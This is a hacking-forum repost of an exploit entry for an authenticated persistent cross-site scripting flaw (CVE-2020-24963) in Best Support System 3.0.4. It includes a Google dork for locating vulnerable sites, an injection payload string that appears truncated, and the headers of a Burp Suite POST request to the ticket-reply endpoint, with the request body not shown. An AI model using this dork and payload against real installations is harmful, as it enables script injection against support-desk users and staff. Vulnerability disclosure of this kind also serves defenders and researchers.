Jump to content
  • Hello visitors, welcome to the Hacker World Forum!

    Red Team 1949  (formerly CHT Attack and Defense Team) In this rapidly changing Internet era, we maintain our original intention and create the best community to jointly exchange network technologies. You can obtain hacker attack and defense skills and knowledge in the forum, or you can join our Telegram communication group to discuss and communicate in real time. All kinds of advertisements are prohibited in the forum. Please register as a registered user to check our usage and privacy policy. Thank you for your cooperation.

    TheHackerWorld Official

Best Support System 3.0.4 - 'ticket_body' Persistent XSS (Authenticated)


Recommended Posts

# Exploit Title: Best Support System 3.0.4 - 'ticket_body' Persistent XSS (Authenticated)
# Google Dork: "Powered By Best Support System"
# Date: 2020-08-23
# Exploit Author: Ex.Mi [ https://ex-mi.ru ]
# Vendor: Appsbd [ https://appsbd.com ]
# Software Version: 3.0.4
# Software Link: https://codecanyon.net/item/best-support-systemclient-support-desk-help-centre/21357317
# Tested on: Kali Linux
# CVE: CVE-2020-24963
# CWE: CWE-79

[i] :: Info:

An Authenticated Persistent XSS vulnerability was discovered in the
Best Support System, tested version — v3.0.4.

[$] :: Payloads:

13"-->">'` -- `<!--<img src="--><img src=x

[!] :: PoC (Burp Suite POST request):

POST /support-system/ticket-confirm/ticket-reply/11.html HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 350
Origin: https://localhost
Connection: close
Referer: https://localhost/support-system/ticket/details/11.html
Cookie: [cookies_here]

Link to post
Link to comment
Share on other sites


discussion group

discussion group

    You don't have permission to chat.
    • Recently Browsing   0 members

      • No registered users viewing this page.
    • Create New...